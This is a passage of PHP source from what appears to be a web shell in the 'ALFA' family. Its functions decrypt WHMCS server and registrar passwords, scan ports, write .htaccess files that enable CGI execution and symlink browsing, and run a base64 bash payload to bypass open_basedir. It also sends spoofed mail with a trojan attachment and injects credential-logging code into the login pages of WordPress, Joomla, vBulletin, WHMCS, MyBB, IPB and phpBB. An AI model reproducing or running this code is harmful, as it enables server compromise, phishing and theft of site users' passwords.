WHMCS DeCoder |</div><p>".getConfigHtml(\'whmcs\')."</p><form onsubmit=\\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\\">\r\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'cc_encryption_hash : \', \'inputName\' => \'cc_encryption_hash\', \'id\' => \'cc_encryption_hash\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<p><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\nif($_POST[\'alfa5\']!=\'\'){\r\n$db_host=($_POST[\'alfa7\']);\r\n$db_username=($_POST[\'alfa3\']);\r\n$db_password=($_POST[\'alfa4\']);\r\n$db_name=($_POST[\'alfa5\']);\r\n$cc_encryption_hash=($_POST[\'alfa6\']);\r\necho __pre();\r\n$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));\r\n$query = mysqli_query($conn,"SELECT * FROM tblservers");\r\n$num = mysqli_num_rows($query);\r\nif ($num > 0){\r\nfor($i=0; $i <=$num-1; $i++){\r\n$v = @mysqli_fetch_array($query);\r\n$ipaddress = $v[\'ipaddress\'];\r\n$username = $v[\'username\'];\r\n$type = $v[\'type\'];\r\n$active = $v[\'active\'];\r\n$hostname = $v[\'hostname\'];\r\necho("<center><table border=\'1\'>");\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Type</font></td><td>$type</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Active</font></td><td>$active</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Hostname</font></td><td>$hostname</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Ip</font></td><td>$ipaddress</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Username</font></td><td>$username</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Password</font></td><td>$password</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");\r\n$num1 = @mysqli_num_rows($query1);\r\nif ($num1 > 0){\r\nfor($i=0; $i <=$num1 -1; $i++){\r\n$v = mysqli_fetch_array($query1);\r\n$registrar = $v[\'registrar\'];\r\n$setting = $v[\'setting\'];\r\n$value = decrypt($v[\'value\'], $cc_encryption_hash);\r\nif ($value==""){\r\n$value=0;\r\n}\r\necho("<center>Domain Reseller <br><center>");\r\necho("<center><table border=\'1\'>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Register</font></td><td>$registrar</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Setting</font></td><td>$setting</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Value</font></td><td>$value</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n}\r\n}else{__alert(\'<font color="red">tblservers is Empty...!</font>\');};\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaportscanner(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>\r\n<form action="" method="post" onsubmit="g(\\\'portscanner\\\',null,null,this.start.value,this.end.value,this.host.value); return false;">\r\n<input type="hidden" name="y" value="phptools">\r\n<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>\r\n<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>\r\n<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />\r\n</form></center><br>\';\r\n$start = strip_tags($_POST[\'alfa2\']);\r\n$end = strip_tags($_POST[\'alfa3\']);\r\n$host = strip_tags($_POST[\'alfa4\']);\r\nif(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){\r\necho __pre();\r\n$packetContent = "GET / HTTP/1.1\\r\\n\\r\\n";\r\nif(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);\r\nelse{\r\n$packetContent = str_replace(array("\\r","\\n"), "", $packetContent);\r\n$packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent);\r\n}\r\nfor($i = $start; $i<=$end; $i++){\r\n$sock = @fsockopen($host, $i, $errno, $errstr, 3);\r\nif($sock){\r\nstream_set_timeout($sock, 5);\r\nfwrite($sock, $packetContent."\\r\\n\\r\\n\\x00");\r\n$counter = 0;\r\n$maxtry = 1;\r\n$bin = "";\r\ndo{\r\n$line = fgets($sock, 1024);\r\nif(trim($line)=="")$counter++;\r\n$bin .= $line;\r\n}while($counter<$maxtry);\r\nfclose($sock);\r\necho "<center><p>Port <font style=\'color:#DE3E3E\'>$i</font> is open</p>";\r\necho "<p><textarea style=\'height:140px;width:50%;\'>".$bin."</textarea></p></center>";\r\n}\r\nflush();\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacgihtaccess($m,$d=\'\', $symname=false){\r\n$readme = "";\r\nif($symname){$readme="\\nReadmeName ".trim($symname);}\r\nif($m==\'cgi\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa";\r\n}elseif($m==\'sym\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text/plain php html php4 phtml\\nAddHandler text/plain php html php4 phtml{$readme}\\nOptions all";\r\n}elseif($m==\'shtml\'){\r\n$code = "Options +Includes\\nAddType text/html .shtml\\nAddHandler server-parsed .shtml";\r\n}\r\n@__write_file($d.\'.htaccess\',$code);\r\n}\r\nfunction alfabasedir(){\r\nalfahead();\r\necho \'<div class=header>\r\n<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>\';\r\n$passwd = _alfa_file(\'/etc/passwd\');\r\nif(is_array($passwd)){\r\n$users = array();\r\n$makepwd = alfaMakePwd();\r\n$basedir = @ini_get(\'open_basedir\');\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){\r\n$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";\r\nalfaWriteTocgiapi("basedir.alfa",$bash);\r\n$bash_users  = alfaEx("cd alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);\r\n$users = json_decode($bash_users, true);\r\n$x=count($users);\r\nif($x>=2){array_pop($users);--$x;}\r\n}\r\nif(!$basedir&&!$safe_mode){\r\n$x=0;\r\nforeach($passwd as $str){\r\n$pos = strpos($str,\':\');\r\n$username = substr($str,0,$pos);\r\n$dirz = str_replace("{user}", $username, $makepwd);\r\nif(($username != \'\')){\r\nif (@is_readable($dirz)){\r\narray_push($users,$username);\r\n$x++;\r\n}}}\r\n}\r\necho \'<br><br>\';\r\necho "<b><font color=\\"#00A220\\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FFFFFF\\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FF0000\\">[~] Searching for passwords in config files...\\n\\n"."<br /><br /><br /></font></b>";\r\nforeach($users as $user){\r\nif(empty($user))continue;\r\n$path = str_replace("{user}", $user, $makepwd);\r\necho "<form method=post onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";\r\n}\r\n}else{echo(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\');}\r\necho \'<br><br></b>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfamail(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(8,9,10);\r\necho \'<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\\\'mail\\\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\\\'>>\\\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">\';\r\n$table = array(\r\n\'td1\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mail To : \', \'inputName\' => \'mail_to\', \'inputValue\' => \'target@fbi.gov\', \'inputSize\' => \'60\',\'placeholder\' => true),\r\n\'td2\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'From : \', \'inputName\' => \'mail_from\', \'inputValue\' => \'sec@google.com\', \'inputSize\' => \'60\', \'placeholder\' => true),\r\n\'td3\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Subject : \', \'inputName\' => \'mail_subject\', \'inputValue\' => \'your site hacked by me\', \'inputSize\' => \'60\'),\r\n\'td4\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Attach File : \', \'inputName\' => \'mail_attach\', \'inputValue\' => $GLOBALS[\'cwd\'].\'trojan.exe\', \'inputSize\' => \'60\'),\r\n\'td5\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Count Mail : \', \'inputName\' => \'count_mail\', \'inputValue\' => \'1\', \'inputSize\' => \'60\')\r\n);\r\ncreate_table($table);\r\necho \'<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&($_POST[\'alfa4\'] == \'>>\')){\r\n$mail_to = $_POST[\'alfa1\'];\r\n$mail_from = $_POST[\'alfa2\'];\r\n$mail_subject = $_POST[\'alfa3\'];\r\n$mail_content = $_POST[\'alfa5\'];\r\n$count_mail = (int)$_POST[\'alfa6\'];\r\n$mail_attach = $_POST[\'alfa7\'];\r\nif(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){\r\nif(!empty($mail_attach)&&@is_file($mail_attach)){\r\n$file = $mail_attach;\r\n$content = __read_file($file);\r\n$content = chunk_split(__ZW5jb2Rlcg($content));\r\n$uid = md5(uniqid(time()));\r\n$filename = basename($file);\r\n$headers  = "From: ".$mail_from." <".$mail_from.">\\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= "Reply-To: ".$mail_from."\\r\\n";\r\n$headers .= "Content-Type: multipart/mixed; boundary=\\"".$uid."\\"\\r\\n\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n$mail_content  = "--".$uid."\\r\\n";\r\n$mail_content .= "Content-type:text/plain; charset=iso-8859-1\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: 7bit\\r\\n\\r\\n";\r\n$mail_content .= $mail_content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."\\r\\n";\r\n$mail_content .= "Content-Type: application/octet-stream; name=\\"".$filename."\\"\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: base64\\r\\n";\r\n$mail_content .= "Content-Disposition: attachment; filename=\\"".$filename."\\"\\r\\n\\r\\n";\r\n$mail_content .= $content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."--";\r\n}else{\r\n$headers  = "From: " . $mail_from. " ( ".$mail_from." ) \\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= \'Reply-To: \'.$mail_from.\'\' . "\\r\\n";\r\n$headers .= \'Content-type: text/html; charset=utf-8\' . "\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n}\r\nif(empty($count_mail)||$count_mail<1)$count_mail=1;\r\nif(!empty($mail_from)){echo __pre();\r\nfor($i=1;$i<=$count_mail;$i++){\r\nif(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");\r\n}}else{__alert("Invalid Mail From !");}\r\n}else{__alert("Invalid Mail To !");}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho \'<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>\r\n<form onSubmit="g(\\\'ziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\r\n<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'" size="60"/>\r\n<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'alfa.zip" size="60"/>\r\n<input type="submit" value=" " name="ziper" />\r\n</form></center></p>\';\r\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\r\n$dirzip = $_POST[\'alfa3\'];\r\n$zipfile = $_POST[\'alfa4\'];\r\nif (class_exists(\'ZipArchive\')&&($GLOBALS[\'sys\']!=\'unix\'||!_alfa_can_runCommand(true,true))){\r\n$code=\'if(!extension_loaded(\\\'zip\\\')||!file_exists($source)){return false;}$zip=new ZipArchive();if(!$zip->open($destination,ZIPARCHIVE::CREATE)){return false;}$source=str_replace(\\\'\\\\\\\\\\\',\\\'/\\\',realpath($source));if(is_dir($source)===true){$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);foreach($files as $file){$file=str_replace(\\\'\\\\\\\\\\\',\\\'/\\\',$file);if(in_array(substr($file,strrpos($file,\\\'/\\\')+1),array(\\\'.\\\',\\\'..\\\')))continue;$file=realpath($file);if(is_dir($file)===true){$zip->addEmptyDir(str_replace($source.\\\'/\\\',\\\'\\\',$file.\\\'/\\\'));}else if(is_file($file)===true){$zip->addFromString(str_replace($source.\\\'/\\\',\\\'\\\',$file),file_get_contents($file));}}}else if(is_file($source)===true){$zip->addFromString(basename($source),file_get_contents($source));}return $zip->close();\';\r\n$newfunc = create_function(\'$source,$destination\', $code);\r\nif($newfunc($dirzip, $zipfile)){\r\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font></p></center>\';\r\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\r\n}else{\r\nalfaEx("cd \'".addslashes(dirname($zipfile))."\';zip -r \'".addslashes(basename($zipfile))."\' \'".addslashes($dirzip)."\' > /dev/null &");\r\necho __pre().\'<center><p>Please Wait For 1 minutes AND Check this -> <b><font color="green">\'.$zipfile.\'</font></b><br>Because We Executed The Command in The background !</p></center>\';\r\n}}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacmshijacker(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho \'<div class=header><br>\r\n<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\\\'cmshijacker\\\',null,this.cmshi.value,this.saveto.value,\\\'>>\\\',this.cmspath.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">\';\r\n$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");\r\nforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\r\necho("</select>");\r\necho \' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">\r\nSaveTo: <input size="50" type="text" name="saveto" value="\'.$GLOBALS[\'cwd\'].\'alfa.txt"></font>\r\n<input type="submit" name="btn" value=" "></form></center><br>\';\r\n$cms = $_POST[\'alfa1\'];\r\n$saveto = $_POST[\'alfa2\'];\r\n$cmspath = $_POST[\'alfa4\'];\r\nif(!empty($cms) AND !empty($saveto) AND $_POST[\'alfa4\'] AND $_POST[\'alfa3\'] == \'>>\'){\r\necho __pre();\r\nalfaHijackCms($cms,$cmspath,$saveto);\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaHijackCms($cms,$cmspath,$saveto){\r\nswitch($cms){\r\ncase "vb":\r\nhijackvBulletin($cmspath,$saveto);\r\nbreak;\r\ncase "wp":\r\nhijackwp($cmspath,$saveto);\r\nbreak;\r\ncase "jom":\r\nhijackJoomla($cmspath,$saveto);\r\nbreak;\r\ncase "whmcs":\r\nhijackWhmcs($cmspath,$saveto);\r\nbreak;\r\ncase "mybb":\r\nhijackMybb($cmspath,$saveto);\r\nbreak;\r\ncase "ipb":\r\nhijackIPB($cmspath,$saveto);\r\nbreak;\r\ncase "phpbb":\r\nhijackPHPBB($cmspath,$saveto);\r\nbreak;\r\ndefault:\r\necho "error!";\r\nbreak;\r\n}\r\n}\r\nfunction hijackvBulletin($path,$saveto){\r\n$code=\'$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\\\'" . $alfa_username . "\\\'");while($row = $db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \\\' : \\\' .  $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$clearpw = \'defined(\\\'DISABLE_PASSWORD_CLEARING\\\')\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login = $path."/login.php";\r\n$class = $path."/includes/class_bootstrap.php";\r\n$dologin = \'do_login_redirect();\';\r\n$evil_login = "\\t".$code."\\n\\t".$dologin;\r\n$evil_class = "true";\r\nif(@is_file($login) AND @is_writable($login) AND @is_file($class) AND @is_writable($class)){\r\n$data_login = @file_get_contents($login);\r\n$data_class = @file_get_contents($class);\r\nif(strstr($data_login, $dologin) AND strstr($data_class, $clearpw)){\r\n$login_replace = str_replace($dologin,$evil_login, $data_login);\r\n$class_replace = str_replace($clearpw,$evil_class, $data_class);\r\n@file_put_contents($login, $login_replace);\r\n@file_put_contents($class, $class_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackwp($path,$saveto){\r\n$code = \'$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\\\'log\\\']." : ".$_POST[\\\'pwd\\\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$redirect_wp = \'if ( !is_wp_error($user) && !$reauth ) {\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/wp-login.php";\r\n$evil_login = "\\t".$redirect_wp."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $redirect_wp)){\r\n$login_replace = str_replace($redirect_wp,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackJoomla($path,$saveto){\r\n$code = \'<?php jimport(\\\'joomla.user.authentication\\\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\\\'username\\\'=>$_POST[\\\'username\\\'],\\\'password\\\'=>$_POST[\\\'passwd\\\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\\\'passwd\\\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$comp=$path."/administrator/components/com_login/";\r\nif(@is_file($comp."/login.php")){\r\n$login = $comp."/login.php";\r\n}elseif(@is_file($comp."/admin.login.php")){\r\n$login = $comp."/admin.login.php";\r\n}else{\r\n$login = \'\';\r\n}\r\nif(@is_file($login) AND @is_writable($login) AND $login != \'\'){\r\n$data_login = @file_get_contents($login);\r\n$evil_login = $code."\\n".$data_login;\r\n@file_put_contents($login, $evil_login);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackWhmcs($path,$saveto){\r\n$code = \'<?php if(isset($_POST[\\\'username\\\']) AND isset($_POST[\\\'password\\\']) AND !empty($_POST[\\\'username\\\']) AND !empty($_POST[\\\'password\\\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\\\'username\\\'];$alfa_pw = @$_POST[\\\'password\\\'];if(isset($_POST[\\\'language\\\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \\\'$alfa_uname\\\' AND `password` = \\\'".md5($alfa_pw)."\\\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \\\'$alfa_uname\\\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\\\':\\\', $row[\\\'password\\\']);$__encPW = md5($__salt[1].$_POST[\\\'password\\\']).\\\':\\\'.$__salt[1];if($row[\\\'password\\\'] == $__encPW){$allow = true;$row[\\\'username\\\'] = $row[\\\'email\\\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\\\'username\\\'] . \\\' : \\\' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \\\'is_admin\\\' : \\\'is_user\\\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$conf=$path."/configuration.php";\r\nif(@is_file($conf) AND @is_writable($conf)){\r\n$data_conf = @file_get_contents($conf);\r\nif(!strstr($data_conf,\'?>\'))$code = \'?>\'.$code;\r\n$evil_conf = $data_conf."\\n".$code;\r\n@file_put_contents($conf, $evil_conf);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackMybb($path,$saveto){\r\n$code = \'$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \\\'".$user[\\\'username\\\']."\\\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\\\'username\\\']." : ". $user[\\\'password\\\']." ( ".$alfa_fetch[\\\'email\\\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);\';\r\n$find = \'$loginhandler->complete_login();\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/member.php";\r\n$evil_login = "\\t".$code."\\n\\t".$find;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackIPB($path,$saveto){\r\n$code = \'$Alfa_q = $this->DB->buildAndFetch(array(\\\'select\\\' => \\\'email\\\', \\\'from\\\' => \\\'members\\\', \\\'where\\\' => \\\'name="\\\'.$username.\\\'" OR email="\\\'.$email.\\\'"\\\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\\\'ips_username\\\'].\\\' : \\\'.$_POST[\\\'ips_password\\\'].\\\' ( \\\'.$Alfa_q[\\\'email\\\'].\\\' )\\\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$find = \'unset( $member[\\\'plainPassword\\\'] );\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/admin/sources/handlers/han_login.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackPHPBB($path,$saveto){\r\n$code = \'$Alfa_u = request_var(\\\'username\\\', \\\'\\\');$Alfa_p = request_var(\\\'password\\\', \\\'\\\');if($Alfa_u != \\\'\\\' AND $Alfa_p != \\\'\\\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\\\'status\\\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\\\'user_row\\\'][\\\'user_email\\\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$find = \'case \\\'login\\\':\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/ucp.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackOutput($c=0,$p=\'\'){echo($c==0?"<center><font color=\'green\'>Success</font> --> path: $p</center>":\'<center><font color="red">Error in inject code !</font></center>\');}\r\nfunction Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){\r\nif(@is_dir($dir)){\r\n$files=@scandir($dir);\r\nforeach($files as $key => $value){\r\n$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);\r\nif(!@is_dir($path)){\r\nif($ext!=\'*\'){$f = basename($path);$f = explode(\'.\',$f);$f = end($f);if($f!=$ext)continue;}\r\nif($e==\'str\'){\r\n$content = @file_get_contents($path);\r\nif(strpos($content, $string) !== false){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}else{\r\nif(strstr($value,$string)){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}\r\n$results[] = $path;\r\n}elseif($value != "." && $value != "..") {\r\nAlfa_StrSearcher($path,$string,$ext,$e,$results);\r\n$results[] = $path;\r\n}}}}\r\nfunction alfasearcher(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'file\\\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'str\\\')">| Find Files By Name 